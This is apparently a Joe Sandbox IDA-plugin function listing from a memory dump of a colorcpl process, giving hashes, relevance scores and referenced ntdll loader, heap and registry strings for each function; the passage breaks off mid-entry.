Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-3610490719
Opcode ID: 8d5ad398edee7007d74aed62e042d8e80c4b1ff4c5c5c4320356a0bcf0a40f86
Instruction ID: acf494bd974db6cd9e5b2bd4fdd19ecfdedebe61e4a6a89cbcec54f52e6ac448
Opcode Fuzzy Hash: 8d5ad398edee7007d74aed62e042d8e80c4b1ff4c5c5c4320356a0bcf0a40f86
Instruction Fuzzy Hash: EA91F175A11782DFD315CB25CC94B6AB7A6BF46710FC40B69F841AB280DB34A880CF96

Uniqueness

Uniqueness Score: -1.00%

Function 1E6C36EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON

Download Yara Rule

Strings

LdrpResMapFile Exit, xrefs: 1E6C3727
LdrpResMapFile Enter, xrefs: 1E6C3715
@, xrefs: 1E6C3867

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
API String ID: 0-318774311
Opcode ID: 9d66194048338131d5455ed9adfe9ccd41992a389884cf0f41a87b68abce79f3
Instruction ID: da829c35af46ab7ca619cbe7669c8e867c55aad6ab8be88cdbc1ec8583f5ff83
Opcode Fuzzy Hash: 9d66194048338131d5455ed9adfe9ccd41992a389884cf0f41a87b68abce79f3
Instruction Fuzzy Hash: 4E819E75649381AFD311CB15C840B5ABBE9FF85B50F800AADF9809B390E774EA44CB66

Uniqueness

Uniqueness Score: -1.00%

Function 1E70B73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 1E70B82A
GlobalizationUserSettings, xrefs: 1E70B834
TargetNtPath, xrefs: 1E70B82F

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: a7e74ea319e97c2e45c8d00518ebccd6e961bcb8c3125c2751de3e4744a3f010
Instruction ID: cdc4798d6fa390c757c0dd67871fa4bcec76d950763191e34fbfcb8d01b0f6ee
Opcode Fuzzy Hash: a7e74ea319e97c2e45c8d00518ebccd6e961bcb8c3125c2751de3e4744a3f010
Instruction Fuzzy Hash: 67617072951269EBEB21DF54CC88BE9B7F8AF05710F4102E9E509A7260C734AF80CF94

Uniqueness

Uniqueness Score: -1.00%

Function 1E659803 Relevance: 3.9, Strings: 3, Instructions: 179COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 1E69DCF5
LdrpUnloadNode, xrefs: 1E69DCEB
Unmapping DLL "%wZ", xrefs: 1E69DCE4

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 0-2283098728
Opcode ID: 524ead3e218c95472d64e936130b79b12e0f7a175058149a59fd1207d07637ff
Instruction ID: 68d960370034ee5de571b4a5cd43c3b1200342d100a82de65b9cdba473259741
Opcode Fuzzy Hash: 524ead3e218c95472d64e936130b79b12e0f7a175058149a59fd1207d07637ff
Instruction Fuzzy Hash: 1551C2717013829FD714DF24CC84A29B7A6BF8A364F9C0F2DE4A597395DB30A844CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1E6DDAAC Relevance: 3.9, Strings: 3, Instructions: 163COMMON

Download Yara Rule

Strings

Heap block at %p modified at %p past requested size of %Ix, xrefs: 1E6DDC32
HEAP: , xrefs: 1E6DDC1F
HEAP[%wZ]: , xrefs: 1E6DDC12

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: 578ed50fcc613ed8d28a287182ddfdc98a1f267bb1070953893db29abe5b291e
Instruction ID: 85914a3a99b4eb5869a75ab7c8ec90a1de4ca9bf9f7c577bc288c7c21da57529
Opcode Fuzzy Hash: 578ed50fcc613ed8d28a287182ddfdc98a1f267bb1070953893db29abe5b291e
Instruction Fuzzy Hash: CF5139751003518EE364EF2AC89077277E6FF66348FC14B5AE4C28B285D275E84ADB61

Uniqueness

Uniqueness Score: -1.00%

Function 1E631B04 Relevance: 3.9, Strings: 3, Instructions: 148COMMON

Download Yara Rule

Strings

RtlpGetBitState(LookupTable, (ULONG)(LookupIndex - LookupTable->BaseIndex)), xrefs: 1E68FB63
HEAP: , xrefs: 1E68FB58
HEAP[%wZ]: , xrefs: 1E68FB4B

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpGetBitState(LookupTable, (ULONG)(LookupIndex - LookupTable->BaseIndex))
API String ID: 0-1596344177
Opcode ID: 8457ed1b0c4621354dc59f16d2c71233b136333431be6b805af0f83c84fe2f42
Instruction ID: 59339ccf5dd1e89e72be33456547de58c42d2d5b36efb8325c06b600677da1d5
Opcode Fuzzy Hash: 8457ed1b0c4621354dc59f16d2c71233b136333431be6b805af0f83c84fe2f42
Instruction Fuzzy Hash: 2651C030A00256DFDB04CF68C480A69BBF6FF49311FA582A9D8599F246E775ED42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E6616CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON

Download Yara Rule

Strings

LdrpAllocateTls, xrefs: 1E6A1B40
minkernel\ntdll\ldrtls.c, xrefs: 1E6A1B4A
TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 1E6A1B39

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
API String ID: 0-4274184382
Opcode ID: 0cf966990117cc72adf1e0638964bc2b77387dc971ecdada431b2a9e73cecb52
Instruction ID: 691a476d4da830c70785d952560c70aa1af1537a876a720fb3fa8db260ebfac4
Opcode Fuzzy Hash: 0cf966990117cc72adf1e0638964bc2b77387dc971ecdada431b2a9e73cecb52
Instruction Fuzzy Hash: 4C417DB5E01645EFDB05CFA9C980BADBBF6FF88310F904619E509A7250E734AD00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1E661607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON

Download Yara Rule

Strings

LdrpInitializeTls, xrefs: 1E6A1A47
minkernel\ntdll\ldrtls.c, xrefs: 1E6A1A51
DLL "%wZ" has TLS information at %p, xrefs: 1E6A1A40

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
API String ID: 0-931879808
Opcode ID: a345dd4e1bfb1878e4110688ba37a9ee9addf12ff1dd1e04065d6120627cd5ca
Instruction ID: 0cbb2fb9741ab624fbf02aa55b2a15cb88108a8aa678d524cc98c1ddf8d3fc8d
Opcode Fuzzy Hash: a345dd4e1bfb1878e4110688ba37a9ee9addf12ff1dd1e04065d6120627cd5ca
Instruction Fuzzy Hash: 83313775A20252EBE7008F45CD84FAA73EDAB88354F810729E50AE7190E770BE408795

Uniqueness

Uniqueness Score: -1.00%

Function 1E6B1ACB Relevance: 2.8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

@, xrefs: 1E6B1BF7
AddD, xrefs: 1E6B1C4D

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: @$AddD
API String ID: 0-2525844869
Opcode ID: 22e0187b942cceb2947a0e7517f420faae47d3e7ecb824cc5f66ed2687d70bc1
Instruction ID: fe27ee940983d9ff6b53ace27f6cb407099b82526977d90f53e2ba2d2d7c2cd4
Opcode Fuzzy Hash: 22e0187b942cceb2947a0e7517f420faae47d3e7ecb824cc5f66ed2687d70bc1
Instruction Fuzzy Hash: D3A159B2618344AFE314CB54C885BABB7E9FF84704F904B2EF99587250E770E944CB66

Uniqueness

Uniqueness Score: -1.00%

Function 1E665CC0 Relevance: 2.7, Strings: 2, Instructions: 241COMMON

Download Yara Rule

Strings

@, xrefs: 1E6A3C93
TargetPath, xrefs: 1E6A3CC5, 1E6A3CCA

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: @$TargetPath
API String ID: 0-4164548946
Opcode ID: c78038939c52dc7741cdba64b2cc17e0bbf6cb6f24760b2f3fd82576d51c1e13
Instruction ID: ce5a6255f3dbbc0287df7aa90f300ba50b2cc123c85ab180064dec9b1b45b0bc
Opcode Fuzzy Hash: c78038939c52dc7741cdba64b2cc17e0bbf6cb6f24760b2f3fd82576d51c1e13
Instruction Fuzzy Hash: 1A81EC71D143969FD710CF18C895A5FBBA9BF8A704F818B2EEA559B250D330EC05CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BBC10 Relevance: 2.7, Strings: 2, Instructions: 234COMMON

Download Yara Rule

Strings

\REGISTRY\USER\, xrefs: 1E6BBE76
\Software\Microsoft\Windows, xrefs: 1E6BBEBF

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: \REGISTRY\USER\$\Software\Microsoft\Windows
API String ID: 0-4122831824
Opcode ID: 82e07b0cd37fd4be1e8751ff8744121d4b03eaff4480c062a0548d474ac0ae67
Instruction ID: a079fe92037551c71ce282a506aee36f6fb8768fa6f6cf1d8584af80cbd84c46
Opcode Fuzzy Hash: 82e07b0cd37fd4be1e8751ff8744121d4b03eaff4480c062a0548d474ac0ae67
Instruction Fuzzy Hash: 58917F756147429FD320CF24C880B9BB7E9EF88754F900B2DE5A6C72A0EB34E945CB56

Uniqueness

Uniqueness Score: -1.00%

Function 1E6C5DA0 Relevance: 2.7, Strings: 2, Instructions: 201COMMON

Download Yara Rule

Strings

Log, xrefs: 1E6C5F0B
RXACT, xrefs: 1E6C5DDA

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID: Log$RXACT
API String ID: 2994545307-2401810139
Opcode ID: c89c3121f905583ed56b9ff1bf60df7fcd7a336c772ae68274d10a80e33ee741
Instruction ID: dcc20e79178cb9fd097e5f99aa4f71893a6c22ea2f0582e18b9cf51c995ef476
Opcode Fuzzy Hash: c89c3121f905583ed56b9ff1bf60df7fcd7a336c772ae68274d10a80e33ee741
Instruction Fuzzy Hash: A97146B5509385AFD311CF64C880E6BBBEDFF88754F804A2AF59497220D731ED048B96

Uniqueness

Uniqueness Score: -1.00%

Function 1E70B9DF Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 1E70BA44
RedirectedKey, xrefs: 1E70BA8E

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 0-1388552009
Opcode ID: 63d07b2c5e198f572729029edea294d646418fea3e987585dd299e797b8b3ec9
Instruction ID: 069e4aa908bd7d045118fb938efa72d1830adba33529991b2b0c7ce9a4dd0004
Opcode Fuzzy Hash: 63d07b2c5e198f572729029edea294d646418fea3e987585dd299e797b8b3ec9
Instruction Fuzzy Hash: 3C61F575C0022DEBEB11DF95C888AEEBFB9FF09714F50416AE406A7214DB35AA45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1E64F720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

$, xrefs: 1E64F7F6
$, xrefs: 1E64F860

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: $$$
API String ID: 0-233714265
Opcode ID: 2d511efb4825419746551b55639356ce9a592fedca96828e6014352d8433030f
Instruction ID: bc6a0de382673f97997aa8ec32ece2b5b709c980dc2f57ae8bfd4757031acaa8
Opcode Fuzzy Hash: 2d511efb4825419746551b55639356ce9a592fedca96828e6014352d8433030f
Instruction Fuzzy Hash: AF61DE75E0178ADFDB20CFA4C588B9DB7B2FF08314FA05A29D515AB680CB34B981CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1E6359C0 Relevance: 1.7, Strings: 1, Instructions: 494COMMON

Download Yara Rule

Strings

@, xrefs: 1E690AA7

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 2a03949251ece645b27d92e37f06fefd97362f5f0f65b32486b964776283f065
Instruction ID: 05e2e85b19b1e707e0fb7dc6445c7599e9bfdd933901853d359f4a81efb86426
Opcode Fuzzy Hash: 2a03949251ece645b27d92e37f06fefd97362f5f0f65b32486b964776283f065
Instruction Fuzzy Hash: C5326770D002AADFDB21CF64C984BDDBBB1BB09305FA046EAD45DA7281D7746A84DF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E62B991 Relevance: 1.7, APIs: 1, Instructions: 172COMMONLIBRARYCODE

Download Yara Rule

APIs

_vswprintf_s.LIBCMT ref: 1E68D0FE

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 885b0d735b95200974fabfe3d45b3e610a8daeb0c833ab1497e59e00e42fd1e3
Instruction ID: e88449f05e7a19916499e578def6badd0f0527916ee75ff1e9b69e2d6b1e1b14
Opcode Fuzzy Hash: 885b0d735b95200974fabfe3d45b3e610a8daeb0c833ab1497e59e00e42fd1e3
Instruction Fuzzy Hash: 9661D175D103998EEB20CF64C844FAEBBB5EF16320F9043ADD899AB281D7755941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E6378D9 Relevance: 1.7, APIs: 1, Instructions: 164COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1E637932

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 07c6eaeab19b42d75ca3b607a3e5ab1245a67aee0822ddc89e908a07f1081892
Instruction ID: 1dd0ceb2723f0397edee848b2af72bbc506f46e4ff7c7197ae232911aa43c859
Opcode Fuzzy Hash: 07c6eaeab19b42d75ca3b607a3e5ab1245a67aee0822ddc89e908a07f1081892
Instruction Fuzzy Hash: 31515870A18382CFD310CF69C590A1BBBE6FB89710FA14A6EF59997354D734E944CB82

Uniqueness

Uniqueness Score: -1.00%

Function 1E66F603 Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03a70382ef979194e6a18fe0691506d0b0beee523617d30fbea88bdf74db8dca
Instruction ID: 01df17635d966e5af9e367c5a6ddbb3efd4dcb4554f7fae0fe134ed7abe486af
Opcode Fuzzy Hash: 03a70382ef979194e6a18fe0691506d0b0beee523617d30fbea88bdf74db8dca
Instruction Fuzzy Hash: 99416DB4D11299EFDB10CFA9C980AADBBF9FB49700F90866ED458E7211D730A941CF64

Uniqueness

Uniqueness Score: -1.00%

Function 1E6E1AA3 Relevance: 1.6, Strings: 1, Instructions: 370COMMON

Download Yara Rule

Strings

., xrefs: 1E6E1C01

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: b7a534645cd4d4a092897a1b4adec7c09bb143d4bc805a06e68cde09c6128791
Instruction ID: b347c080c6860fe3892646a0da81a828b93044feaf684454fad4a99ff2cece4c
Opcode Fuzzy Hash: b7a534645cd4d4a092897a1b4adec7c09bb143d4bc805a06e68cde09c6128791
Instruction Fuzzy Hash: A3E1AE74D012A9CBDB20CFA9C4506EDB7F2FF45700F90825AE895EB694D7749C82EB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E6DDEB0 Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

System Volume Information, xrefs: 1E6DDEBE

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID: System Volume Information
API String ID: 2994545307-764423717
Opcode ID: 080db077a6aaf0b1226b74346187db23fa15d64eb56d82a61fa4c4434f829b58
Instruction ID: 542c634fdb422ae133ac7b5da63420130df4055c01fcf840950909a36f10396c
Opcode Fuzzy Hash: 080db077a6aaf0b1226b74346187db23fa15d64eb56d82a61fa4c4434f829b58
Instruction Fuzzy Hash: E4616775908345ABD311DF54CC80E6BB7E9EF98B44F800A2DF980972A0D774ED58CB96

Uniqueness

Uniqueness Score: -1.00%

Function 1E63973A Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

@, xrefs: 1E6397F3

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
Instruction ID: a07f85fafd6451f9e92e18fd33c6922698f4f463296e04c49e7a213990b3da1f
Opcode Fuzzy Hash: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
Instruction Fuzzy Hash: 8A618C75D01259AFDB11CFA9C840B9EBBB5FF81B25F640B29E814A7294D7349A00DF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E6B3CDB Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

CWDIllegalInDLLSearch, xrefs: 1E6B3D08

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: CWDIllegalInDLLSearch
API String ID: 0-473384322
Opcode ID: fc8afa662128db0007cc32259bbc1b8a671f3ebcfc817641f776e99e644f7981
Instruction ID: 591e4fd21793c7783b7cf249723b07536a2f4383cc9cf8dc552637e96f156c77
Opcode Fuzzy Hash: fc8afa662128db0007cc32259bbc1b8a671f3ebcfc817641f776e99e644f7981
Instruction Fuzzy Hash: 4451EF76B847529BD311CE55C881B16B7E9EB55720F800B2BFD61D7280D3B0ED06CB96

Uniqueness

Uniqueness Score: -1.00%

Function 1E663EEB Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

@, xrefs: 1E663F50

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: f6d24db04a8b22f10dd332497e656ae38b365cd664294fb4cdc3bf0e0e6027ed
Instruction ID: 2e720904986bc0080ae9d7eea5c31a79f0704f5d2fb015844adddbb9bf090b0e
Opcode Fuzzy Hash: f6d24db04a8b22f10dd332497e656ae38b365cd664294fb4cdc3bf0e0e6027ed
Instruction Fuzzy Hash: 35516A755057509FC321CF25C840A6BBBE9FF88B10F408A2EF99587690E7B4E904CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1E66BC3B Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

LdrpInitializeProcess, xrefs: 1E66BC51

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: LdrpInitializeProcess
API String ID: 0-2689506271
Opcode ID: 87e49b853c04e1948df503eb6c195d8f18d514822c2585e3ba73d107e4927dc3
Instruction ID: 9aecf804178152ffdc3e531453ebd75e6192a453d362685e002da010ba54aa76
Opcode Fuzzy Hash: 87e49b853c04e1948df503eb6c195d8f18d514822c2585e3ba73d107e4927dc3
Instruction Fuzzy Hash: 87411772516356AFE311CF50C984A9BB7ECEBC9724F804B2BF19286140D774FA44CB56

Uniqueness

Uniqueness Score: -1.00%

Function 1E62FF90 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 1E630058

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode
API String ID: 0-996340685
Opcode ID: 4245e5aeae0a177dfe898c22015e120ab36c983f134e609089147ad7bc5e6889
Instruction ID: f401ae535008e5bd638df542b941a886294946d1bcd29abed4d265f0b9d6c811
Opcode Fuzzy Hash: 4245e5aeae0a177dfe898c22015e120ab36c983f134e609089147ad7bc5e6889
Instruction Fuzzy Hash: 24418435A1074A9AC764DFB4C4406EBF7F5FF46301F904A2ED5AAD3240E334A549CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 1E6636EF Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

Flst, xrefs: 1E663731

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: Flst
API String ID: 0-2374792617
Opcode ID: 4b2ec5b216aac1add49a61ad7e7d77ae3d9f63e039ac6b677d1f18b9083b982f
Instruction ID: 2bcefb5fc468b1d9758bc3dded60904c41ccde4a308e8a0e90390e0b85e54c1b
Opcode Fuzzy Hash: 4b2ec5b216aac1add49a61ad7e7d77ae3d9f63e039ac6b677d1f18b9083b982f
Instruction Fuzzy Hash: 1D41A9B1A55301DFD304CF19C180A16FFE5EF8A714F90866EE5598F281DB31E942CB99

Uniqueness

Uniqueness Score: -1.00%

Function 1E629730 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

L4CwL4Cw, xrefs: 1E6297A7

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: L4CwL4Cw
API String ID: 0-1654103815
Opcode ID: f5c0e2d853ed34c50e9d6132bb8485bf38b20c42878881154189bc029c9e54d2
Instruction ID: 20cfeab92dafbafb98cfd80d01d1f18a762c5bf9edc90f663a4fec0c62ede503
Opcode Fuzzy Hash: f5c0e2d853ed34c50e9d6132bb8485bf38b20c42878881154189bc029c9e54d2
Instruction Fuzzy Hash: FF21D03A901656ABD7228F598800B5A7BB5FFC4BA0FD90A39E9959B350D730E801CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E6F16CC Relevance: .6, Instructions: 571COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d62f7887e20056bdbcfa7bdcd80b6c74bcef62de8c245b851eeb3e4bfdd23e7
Instruction ID: fa2d9feffe23e1c4d1b30fd1ba6985237e55bf171bc0d759fdd6046d684aa46f
Opcode Fuzzy Hash: 8d62f7887e20056bdbcfa7bdcd80b6c74bcef62de8c245b851eeb3e4bfdd23e7
Instruction Fuzzy Hash: 7D229235B00256CFCB09CF59C4A0AAAB7F2FF8A354B64866DD455DB346DB30E942CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E6F1D5A Relevance: .6, Instructions: 559COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26d3a2e675645c26d8ac8211017c3b47aa2daf60e4a1ca58853fc5b3514e9e9a
Instruction ID: e1410a40c9d3fce70cd7de692516dc509be51c04e7d94b47fa1fdeb7a8a700e2
Opcode Fuzzy Hash: 26d3a2e675645c26d8ac8211017c3b47aa2daf60e4a1ca58853fc5b3514e9e9a
Instruction Fuzzy Hash: E622A075615252CFC708CF19C4A0A1AB3E2FF8A714B948B6DE996CB355DB30E842CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1E63F950 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 116976fa22fe62b4b944a03466edb1593035b6e5f33dfc50baee33c8be66b894
Instruction ID: 18d073314fb0170e572192dfe1d15bdb1922f996846948f52adf25c60918605f
Opcode Fuzzy Hash: 116976fa22fe62b4b944a03466edb1593035b6e5f33dfc50baee33c8be66b894
Instruction Fuzzy Hash: 7AF1C7B5E10219CFDF14CF59C8906EE77B2FF49302FA5461AE88A9B350E7359981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E6438E0 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

